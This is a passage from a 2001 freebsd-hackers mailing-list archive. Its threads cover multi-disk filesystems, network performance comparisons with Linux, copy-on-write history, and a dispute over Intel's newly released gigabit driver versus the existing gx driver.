11:21:24 -0800 (PST) Received: from localhost (ellard@localhost) by ant.eecs.harvard.edu (8.11.3/8.11.3) with ESMTP id fASJLOu13723 for ; Wed, 28 Nov 2001 14:21:24 -0500 (EST) (envelope-from ellard@eecs.harvard.edu) X-Authentication-Warning: ant.eecs.harvard.edu: ellard owned process doing -bs Date: Wed, 28 Nov 2001 14:21:24 -0500 (EST) From: Dan Ellard X-X-Sender: To: Subject: Thanks! (Re: multi-disk file systems on FreeBSD?) Message-ID: <20011128141548.F12732-100000@ant> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thanks to everyone who responded to my query. It looks like vinum and/or ccd will do exactly what I want and they look very straightforward to configure. I probably could have discovered this myself (as several people pointed out), but I was blinded by my assumption that RAID implied redundancy-- so I didn't look at the RAID stuff at all. Now I know better. Thanks, -Dan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 11:43:15 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from services.webwarrior.net (overlord-host99.dsl.visi.com [209.98.86.99]) by hub.freebsd.org (Postfix) with ESMTP id 16A4637B417 for ; Wed, 28 Nov 2001 11:43:10 -0800 (PST) Received: from twincat.vladsempire.net (hutch-619.hutchtel.net [206.10.68.147]) by services.webwarrior.net (Postfix) with ESMTP id 6D6BE1EE for ; Wed, 28 Nov 2001 13:44:35 -0600 (CST) Received: by twincat.vladsempire.net (Postfix, from userid 1001) id E6FF8385C; Wed, 28 Nov 2001 13:39:04 +0000 (GMT) Date: Wed, 28 Nov 2001 13:39:04 +0000 From: Josh Paetzel To: John Vinters Cc: hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011128133904.C550@twincat.vladsempire.net> References: <3C052E84.3CF81084@jbg.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3C052E84.3CF81084@jbg.co.uk>; from johnv@jbg.co.uk on Wed, Nov 28, 2001 at 06:35:48PM +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 28, 2001 at 06:35:48PM +0000, John Vinters wrote: > > I've (reasonably) recently installed 4.3-Release on a system running > Samba and a few light telnet apps, and noticed similar performance > problems. > > The SMB sessions would randomly change speed, and telnet sessions would > suffer from occasional "hesitation" (this is on a Dual PIII-700 MHz > machine with 1 Gb of RAM, which is currently very lightly loaded). > > I managed to track the problem down to the duplex settings on both the > Ethernet cards (AT-2500 TX, Realtek 8139 based, AFAIK) and the 10/100 > Switch. Forcing both the cards and the switch to particular settings > cured the problem, and lead to a massive performance increase. > > FTP seems to be particularly badly affected by the constant collisions > (causing backoff). The problem can be tricky to find as the switch > wasn't perceptably showing collisions on the collision LED, but viewing > the switch stats showed a different story! > > I've noticed similar problems with Linux and certain cards (it was a > while ago). > > > John Vinters > > Well, I am seeing dismal ftp performance on my 4.x boxes. I have a network of 4 machines, three of which are running -STABLE from Nov 22. The other machine is running NetBSD 1.5.2 Release. One of the FreeBSD machines has a base 10 cards in it and has reasonable performace with ftp transfer rates around 1.1Megs/sec. The NetBSD machine is a sparcstation 10 with an onboard intel base 10 adapter, and it too sees reasonable ftp performance. The other two -STABLE boxes have 100tx cards in them. One is a Linksys LNE100TX, and the other is an intel Pro 10/100B/100+. The hub for this network is an 8 port SOHOware autosensing affair. Both of the 100 cards auto-negotiate to 100tx half-duplex. I can get appoximately 1.5Megs/sec out of them using ftp. I have tried swapping cables, swapping ports, and replacing the hub with a crossover cable and manually configuring the cards for either full or half duplex operation. None of these steps makes any difference at all. I can reliably duplicate my transfer speeds on a 600 meg file with a std. deviation of less than a half a second no matter what network configuration I use. My next step will be to try some different NICs, but I don't have anything here that is 100tx based to swap with. I have gotten proper transfer rates out of these machines in the past, but I don't remember if the network cards have changed since then. I rarely move large files around at all, and so only looked into this as a curiosity when seeing this thread. I also intend to try some NFS mounts out to see if this is a protocol issue or not. Josh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 11:56:51 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id 8ABF037B41F; Wed, 28 Nov 2001 11:56:38 -0800 (PST) Received: from hades.hell.gr (patr530-a236.otenet.gr [212.205.215.236]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fASJuTY02632; Wed, 28 Nov 2001 21:56:29 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fASBJbo19079; Wed, 28 Nov 2001 13:19:37 +0200 (EET) (envelope-from charon@labs.gr) Date: Wed, 28 Nov 2001 13:19:36 +0200 From: Giorgos Keramidas To: Richard Sharpe Cc: Greg Lehey , Nate Williams , Poul-Henning Kamp , Wes Peters , developers@FreeBSD.ORG, FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011128111936.GA12017@hades.hell.gr> References: <20011128015614.32e30d8b.wes@softweyr.com> <15364.38174.938500.946169@caddis.yogotech.com> <25429.1006933507@critter.freebsd.dk> <15364.38767.82340.347344@caddis.yogotech.com> <15364.38174.938500.946169@caddis.yogotech.com> <25429.1006933507@critter.freebsd.dk> <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128183231.J61580@monorchid.lemis.com> <3C04AE82.6080302@ns.aus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3C04AE82.6080302@ns.aus.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-28 19:59:38, Richard Sharpe wrote: > Greg Lehey wrote: > >As I said, Richard's a member of the Samba team. He's also going to > >be working on FreeBSD in the foreseeable future, so his intentions > >here are completely honourable :-) He's sent me the report, but since > >I didn't say I would send it to the entire development team, I'll wait > >for his go-ahead (and the reply to a couple of questions) before > >sending it on. > > I am quite happy for the report to be sent out. I do not believe I have an > ax to grind here. > > While my background is more in Linux over the last few years, it has > been fun to play around with FreeBSD (and it has more of an Ultrix feel > to it :-). Yes, please do send the report, Richard. When you are ready to send it, and if you want to send it, that is. Samba is something that I always thought works better with Linux, but I have no data to back this wild guess up. Your report will certainly be welcome in the effort to shed some light on this. -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 12: 5:29 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id 6075737B43E for ; Wed, 28 Nov 2001 12:04:58 -0800 (PST) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 28 Nov 2001 20:04:52 +0000 (GMT) To: Makoto Matsushita Cc: hackers@FreeBSD.ORG Subject: Re: FreeBSD on vmware In-Reply-To: Your message of "Thu, 29 Nov 2001 00:07:18 +0900." <20011129000718I.matusita@jp.FreeBSD.org> Date: Wed, 28 Nov 2001 20:04:51 +0000 From: Ian Dowse Message-ID: <200111282004.aa22335@salmon.maths.tcd.ie> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message <20011129000718I.matusita@jp.FreeBSD.org>, Makoto Matsushita writes: >I really know I'm doing a stupid thing, but here is benchmark results >of both "plain" and "patched" 5-current (as of Nov/26/2001). Patched >FreeBSD is about 10% faster than before. ... but only if you spend most of your time running CPU benchmarks :-) Your results show a 50-100% speed increase for operations requiring a lot of kernel activity. Remember also that interrupts etc. cause a background rate of cmpxchg instructions that is quite high. On slower CPUs (I was using a 400MHz PII), the interrupts can soak up virtually all of the available processing capacity without the patch. I suspect this effect is responsible for the most dramatic speedups. Ian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 14: 4:32 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from postfix1-2.free.fr (postfix1-2.free.fr [213.228.0.130]) by hub.freebsd.org (Postfix) with ESMTP id B6B8937B41B for ; Wed, 28 Nov 2001 14:04:26 -0800 (PST) Received: from nas-cbv-7-22-212.dial.proxad.net (nas-cbv-7-22-212.dial.proxad.net [213.228.22.212]) by postfix1-2.free.fr (Postfix) with ESMTP id 6DCC0AB43C; Wed, 28 Nov 2001 23:02:49 +0100 (CET) Date: Wed, 28 Nov 2001 20:09:35 +0100 (CET) From: =?ISO-8859-1?Q?G=E9rard_Roudier?= X-X-Sender: To: setantae Cc: Andrey Pugachev , Subject: Re: Does FreeBSD support copy-on-write pages? In-Reply-To: <20011127215236.GA16727@rhadamanth> Message-ID: <20011128195915.L2583-100000@gerard> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 27 Nov 2001, setantae wrote: > On Tue, Nov 27, 2001 at 06:31:31PM +0100, G=E9rard Roudier wrote: > > > > > > On Tue, 27 Nov 2001, setantae wrote: > > > > > On Tue, Nov 27, 2001 at 06:54:17PM -0000, Andrey Pugachev wrote: > > > > I am just curious, can FreeBSD kernel perform function called copy-= on-write? > > > > > > As far as I am aware, the BSD family of operating systems have always > > > used copy-on-write (at least since 4.3BSD). > > > > My awareness is different and tells me that 4.3BSD had just vfork() but > > not COW yet, while System V had it years before. Sorry if I am wrong. > > You're not. My bad. > At home now, and checking my daemon book I see SystemV, Release 2 got it = in > 1984, and it was introduced in 4.4BSD in 1993. I was remembering from such a book I have had for reading a couple a years ago. :) The COW comes from the complex :) Mach VM. So FreeBSD have had COW (at least in theory) years before 1993 and actually not after Win/NT, since the first mostly running Win/NT release may well have been the Beta-March 93. G=E9rard. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 14:16:53 2001 Delivered-To: freebsd-hackers@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 916) id 9875D37B41A; Wed, 28 Nov 2001 14:16:50 -0800 (PST) Date: Wed, 28 Nov 2001 14:16:50 -0800 From: Prafulla Deuskar To: freebsd-hackers@freebsd.org Cc: freebsd-net@freebsd.org Subject: Intel gigabit driver Message-ID: <20011128141650.A96448@hub.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Operating-System: Linux 2.0.32 on an i486 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG All, Intel Corporation has released a gigabit driver for PRO/1000 series of adapters. The driver is available for download from the following url: http://appsr.intel.com/scripts-df/Product_Filter.asp?ProductID=415 The driver will be committed to -CURRENT first and MFC'ed to -STABLE later. Thanks, Prafulla To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 15:23:50 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from speedracer.speedtoys.com (mail.speedtoys.com [66.80.10.170]) by hub.freebsd.org (Postfix) with ESMTP id A2DA137B405; Wed, 28 Nov 2001 15:23:36 -0800 (PST) Received: from localhost (gemohler@localhost) by speedracer.speedtoys.com (8.11.3/8.11.1) with ESMTP id fASNgIS16867; Wed, 28 Nov 2001 15:42:19 -0800 (PST) Date: Wed, 28 Nov 2001 15:42:18 -0800 (PST) From: Geoff Mohler X-Sender: gemohler@speedracer.speedtoys.com To: Prafulla Deuskar Cc: freebsd-hackers@FreeBSD.ORG, freebsd-net@FreeBSD.ORG Subject: Re: Intel gigabit driver In-Reply-To: <20011128141650.A96448@hub.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Yay..stable jumbo frames! :^) On Wed, 28 Nov 2001, Prafulla Deuskar wrote: > All, > > Intel Corporation has released a gigabit driver for > PRO/1000 series of adapters. > > The driver is available for download from the following > url: > > http://appsr.intel.com/scripts-df/Product_Filter.asp?ProductID=415 > > > The driver will be committed to -CURRENT first and MFC'ed to > -STABLE later. > > > Thanks, > Prafulla > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > --- Geoff Mohler To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 15:53:13 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mailtoaster1.pipeline.ch (mailtoaster1.pipeline.ch [62.48.0.70]) by hub.freebsd.org (Postfix) with SMTP id B181C37B41C for ; Wed, 28 Nov 2001 15:53:07 -0800 (PST) Received: (qmail 31239 invoked from network); 28 Nov 2001 23:52:47 -0000 Received: from unknown (HELO pipeline.ch) ([62.48.21.243]) (envelope-sender ) by mailtoaster1.pipeline.ch (qmail-ldap-1.03) with SMTP for ; 28 Nov 2001 23:52:47 -0000 Message-ID: <3C057850.55E9BC99@pipeline.ch> Date: Thu, 29 Nov 2001 00:50:40 +0100 From: Andre Oppermann X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Prafulla Deuskar Cc: freebsd-hackers@freebsd.org, freebsd-net@freebsd.org Subject: Re: Intel gigabit driver References: <20011128141650.A96448@hub.freebsd.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Prafulla Deuskar wrote: > > All, > > Intel Corporation has released a gigabit driver for > PRO/1000 series of adapters. That is funny! jlemon commited his gx driver for the same boards just two weeks ago. What happend at Intel? Their driver is even released under the BSD license! (and the Linux one under the GPL) How come considering their strict NDA policy the last years? > The driver is available for download from the following > url: > > http://appsr.intel.com/scripts-df/Product_Filter.asp?ProductID=415 > > The driver will be committed to -CURRENT first and MFC'ed to > -STABLE later. Really? What about the gx driver? -- Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 16:38:24 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mass.dis.org (mass.dis.org [216.240.45.41]) by hub.freebsd.org (Postfix) with ESMTP id 7482837B417; Wed, 28 Nov 2001 16:38:18 -0800 (PST) Received: from mass.dis.org (localhost [127.0.0.1]) by mass.dis.org (8.11.6/8.11.3) with ESMTP id fAT0gCA06193; Wed, 28 Nov 2001 16:42:12 -0800 (PST) (envelope-from msmith@mass.dis.org) Message-Id: <200111290042.fAT0gCA06193@mass.dis.org> To: Andre Oppermann Cc: Prafulla Deuskar , freebsd-hackers@freebsd.org, freebsd-net@freebsd.org, msmith@mass.dis.org Subject: Re: Intel gigabit driver In-Reply-To: Message from Andre Oppermann of "Thu, 29 Nov 2001 00:50:40 +0100." <3C057850.55E9BC99@pipeline.ch> Date: Wed, 28 Nov 2001 16:42:12 -0800 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > What happend at Intel? Their driver is even released under the > BSD license! (and the Linux one under the GPL) Many Intel software products are released under a BSD-like license. Consider the ACPI CA codebase we use. > > The driver will be committed to -CURRENT first and MFC'ed to > > -STABLE later. > > Really? What about the gx driver? The 'gx' driver was committed so that Jonathan's code would be on record, since he'd spent so much time and effort on it. Testing so far has indicated that the Intel driver is generally superior, but it's not a very BSD-like driver and under some circumstances this can be considered a bad thing. The Intel driver will be the preferred driver for these cards. = Mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 17:33:23 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from prism.flugsvamp.com (cb58709-a.mdsn1.wi.home.com [24.17.241.9]) by hub.freebsd.org (Postfix) with ESMTP id 219FC37B419; Wed, 28 Nov 2001 17:33:20 -0800 (PST) Received: (from jlemon@localhost) by prism.flugsvamp.com (8.11.0/8.11.0) id fAT1UUO04412; Wed, 28 Nov 2001 19:30:30 -0600 (CST) (envelope-from jlemon) Date: Wed, 28 Nov 2001 19:30:30 -0600 (CST) From: Jonathan Lemon Message-Id: <200111290130.fAT1UUO04412@prism.flugsvamp.com> To: msmith@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Intel gigabit driver X-Newsgroups: local.mail.freebsd-hackers In-Reply-To: References: Organization: Cc: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In article you write: >> What happend at Intel? Their driver is even released under the >> BSD license! (and the Linux one under the GPL) > >Many Intel software products are released under a BSD-like license. > >Consider the ACPI CA codebase we use. > >> > The driver will be committed to -CURRENT first and MFC'ed to >> > -STABLE later. >> >> Really? What about the gx driver? > >The 'gx' driver was committed so that Jonathan's code would be on >record, since he'd spent so much time and effort on it. Testing so >far has indicated that the Intel driver is generally superior, but No, sorry. Testing has shown no such thing; the performance of the drivers is equivalent, or even that gx has a slight edge. >The Intel driver will be the preferred driver for these cards. That still is under discussion. -- Jonathan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 18: 5: 7 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from peter3.wemm.org (c1315225-a.plstn1.sfba.home.com [24.14.150.180]) by hub.freebsd.org (Postfix) with ESMTP id AA34C37B405; Wed, 28 Nov 2001 18:05:01 -0800 (PST) Received: from overcee.netplex.com.au (overcee.wemm.org [10.0.0.3]) by peter3.wemm.org (8.11.0/8.11.0) with ESMTP id fAT251M83253; Wed, 28 Nov 2001 18:05:01 -0800 (PST) (envelope-from peter@wemm.org) Received: from wemm.org (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id 55D1C3808; Wed, 28 Nov 2001 18:05:01 -0800 (PST) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Jonathan Lemon Cc: msmith@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Intel gigabit driver In-Reply-To: <200111290130.fAT1UUO04412@prism.flugsvamp.com> Date: Wed, 28 Nov 2001 18:05:01 -0800 From: Peter Wemm Message-Id: <20011129020501.55D1C3808@overcee.netplex.com.au> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Jonathan Lemon wrote: > In article you write: > >> What happend at Intel? Their driver is even released under the > >> BSD license! (and the Linux one under the GPL) > > > >Many Intel software products are released under a BSD-like license. > > > >Consider the ACPI CA codebase we use. > > > >> > The driver will be committed to -CURRENT first and MFC'ed to > >> > -STABLE later. > >> > >> Really? What about the gx driver? > > > >The 'gx' driver was committed so that Jonathan's code would be on > >record, since he'd spent so much time and effort on it. Testing so > >far has indicated that the Intel driver is generally superior, but > > No, sorry. Testing has shown no such thing; the performance of > the drivers is equivalent, or even that gx has a slight edge. Well, the experience on irc.snoogans.org begs to differ. The Intel driver sustained much higher rates under attack than what it took to make gx fall over completely. > >The Intel driver will be the preferred driver for these cards. > > That still is under discussion. More to the point, let the respective drivers stand on their own merits. There is no need to "decide" for one or the other. Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 18:14:37 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from prism.flugsvamp.com (cb58709-a.mdsn1.wi.home.com [24.17.241.9]) by hub.freebsd.org (Postfix) with ESMTP id 9871937B416; Wed, 28 Nov 2001 18:14:34 -0800 (PST) Received: (from jlemon@localhost) by prism.flugsvamp.com (8.11.0/8.11.0) id fAT2Bg505686; Wed, 28 Nov 2001 20:11:42 -0600 (CST) (envelope-from jlemon) Date: Wed, 28 Nov 2001 20:11:42 -0600 From: Jonathan Lemon To: Peter Wemm Cc: Jonathan Lemon , msmith@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Intel gigabit driver Message-ID: <20011128201142.A5668@prism.flugsvamp.com> References: <200111290130.fAT1UUO04412@prism.flugsvamp.com> <20011129020501.55D1C3808@overcee.netplex.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <20011129020501.55D1C3808@overcee.netplex.com.au> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 28, 2001 at 06:05:01PM -0800, Peter Wemm wrote: > Jonathan Lemon wrote: > > In article > you write: > > >> What happend at Intel? Their driver is even released under the > > >> BSD license! (and the Linux one under the GPL) > > > > > >Many Intel software products are released under a BSD-like license. > > > > > >Consider the ACPI CA codebase we use. > > > > > >> > The driver will be committed to -CURRENT first and MFC'ed to > > >> > -STABLE later. > > >> > > >> Really? What about the gx driver? > > > > > >The 'gx' driver was committed so that Jonathan's code would be on > > >record, since he'd spent so much time and effort on it. Testing so > > >far has indicated that the Intel driver is generally superior, but > > > > No, sorry. Testing has shown no such thing; the performance of > > the drivers is equivalent, or even that gx has a slight edge. > > Well, the experience on irc.snoogans.org begs to differ. The Intel driver > sustained much higher rates under attack than what it took to make gx fall > over completely. Really? This is the first I've heard; the feedback I received from ps was that the gx driver was able to sustain a higher load once I fixed an off-by-one error. -- Jonathan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 18:49:28 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from beppo.feral.com (beppo.feral.com [192.67.166.79]) by hub.freebsd.org (Postfix) with ESMTP id 8334237B419; Wed, 28 Nov 2001 18:49:17 -0800 (PST) Received: from mailhost.feral.com (mjacob@mailhost.feral.com [192.67.166.1]) by beppo.feral.com (8.11.3/8.11.3) with ESMTP id fAT2nGW65956; Wed, 28 Nov 2001 18:49:16 -0800 (PST) (envelope-from mjacob@feral.com) Date: Wed, 28 Nov 2001 18:49:16 -0800 (PST) From: Matthew Jacob X-Sender: mjacob@beppo Reply-To: mjacob@feral.com To: Prafulla Deuskar Cc: freebsd-hackers@FreeBSD.ORG, freebsd-net@FreeBSD.ORG Subject: Re: Intel gigabit driver In-Reply-To: <20011128141650.A96448@hub.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG A belated welcome to being a FreeBSD committer! We look forward eagerly to all contributions you and Intel's experience with networking can bring to us all! -matt On Wed, 28 Nov 2001, Prafulla Deuskar wrote: > All, > > Intel Corporation has released a gigabit driver for > PRO/1000 series of adapters. > > The driver is available for download from the following > url: > > http://appsr.intel.com/scripts-df/Product_Filter.asp?ProductID=415 > > > The driver will be committed to -CURRENT first and MFC'ed to > -STABLE later. > > > Thanks, > Prafulla > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 19:49:31 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mass.dis.org (mass.dis.org [216.240.45.41]) by hub.freebsd.org (Postfix) with ESMTP id 4197937B41A for ; Wed, 28 Nov 2001 19:49:27 -0800 (PST) Received: from mass.dis.org (localhost [127.0.0.1]) by mass.dis.org (8.11.6/8.11.3) with ESMTP id fAT3rIA08152; Wed, 28 Nov 2001 19:53:19 -0800 (PST) (envelope-from msmith@mass.dis.org) Message-Id: <200111290353.fAT3rIA08152@mass.dis.org> To: Peter Wemm Cc: Jonathan Lemon , hackers@FreeBSD.ORG Subject: Re: Intel gigabit driver In-Reply-To: Message from Peter Wemm of "Wed, 28 Nov 2001 18:05:01 PST." <20011129020501.55D1C3808@overcee.netplex.com.au> Date: Wed, 28 Nov 2001 19:53:18 -0800 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > > >The Intel driver will be the preferred driver for these cards. > > > > That still is under discussion. > > More to the point, let the respective drivers stand on their own merits. > There is no need to "decide" for one or the other. This is, unfortunately, not entirely true. One of them is going to have to be the default, since we can't have them both attach to the card. 8) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 20:27:29 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from imo-r10.mx.aol.com (imo-r10.mx.aol.com [152.163.225.106]) by hub.freebsd.org (Postfix) with ESMTP id E743837B417; Wed, 28 Nov 2001 20:27:24 -0800 (PST) Received: from Nyteckjobs@aol.com by imo-r10.mx.aol.com (mail_out_v31_r1.9.) id n.14e.4d05ff7 (25307); Wed, 28 Nov 2001 23:27:17 -0500 (EST) From: Nyteckjobs@aol.com Message-ID: <14e.4d05ff7.29371325@aol.com> Date: Wed, 28 Nov 2001 23:27:17 EST Subject: (no subject) To: freebsd-hackers@freebsd.org Cc: freebsd-questions@freebsd.org, tedm@toybox.placo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Windows sub 138 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >As I mentioned above, we CAN license the driver code and the DDK for >development. This means that you could produce FreeBSD drivers which we >could then distribute in a binary form under a free end-user license. > >Frankly this is the only way I can see that FreeBSD drivers for the 5xx >series would ever come about. Porting SAND over, while having >advantages >of long term support, is just overkill for this, besides which it's unlikely >you will get a FreeBSD developer to work on GPL code. >This would end up putting a WANic 5xx driver into the same status as the >drivers for the Emerging Technologies, or Sangoma sync cards, which both >come >with binary-only FreeBSD drivers. It would actually have a leg up over >those drivers because it would have Netgraph hooks and I believe that the >Sangoma drivers don't (but I've never worked with the Sangoma cards so I >don't know for certain) The concept that "netgraph hooks" are a "leg up" on say, ETs drivers that have integrated bandwidth management and prioritization, WAN bridging support, load balancing and a probably 25% performance advantage is a bit entertaining. Unless you need to do some convoluted encapsulation netgraph is, aside from being appallingly non-standard to anything else in the market, not much of an "advantage", and its a poster child for the trade off of "flexibility" versus performance. Lets face it. If you were going to sit down and design an interface for frame relay, multi-protocol support, etc, you'd have to be smoking something pretty strong to come up with netgraph. But its free and there is source, so it must be great! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 21:34:40 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from peter3.wemm.org (c1315225-a.plstn1.sfba.home.com [24.14.150.180]) by hub.freebsd.org (Postfix) with ESMTP id 7CC3A37B416; Wed, 28 Nov 2001 21:34:37 -0800 (PST) Received: from overcee.netplex.com.au (overcee.wemm.org [10.0.0.3]) by peter3.wemm.org (8.11.0/8.11.0) with ESMTP id fAT5YbM83908; Wed, 28 Nov 2001 21:34:37 -0800 (PST) (envelope-from peter@wemm.org) Received: from wemm.org (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id 284773808; Wed, 28 Nov 2001 21:34:37 -0800 (PST) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Mike Smith Cc: Jonathan Lemon , hackers@FreeBSD.ORG Subject: Re: Intel gigabit driver In-Reply-To: <200111290353.fAT3rIA08152@mass.dis.org> Date: Wed, 28 Nov 2001 21:34:37 -0800 From: Peter Wemm Message-Id: 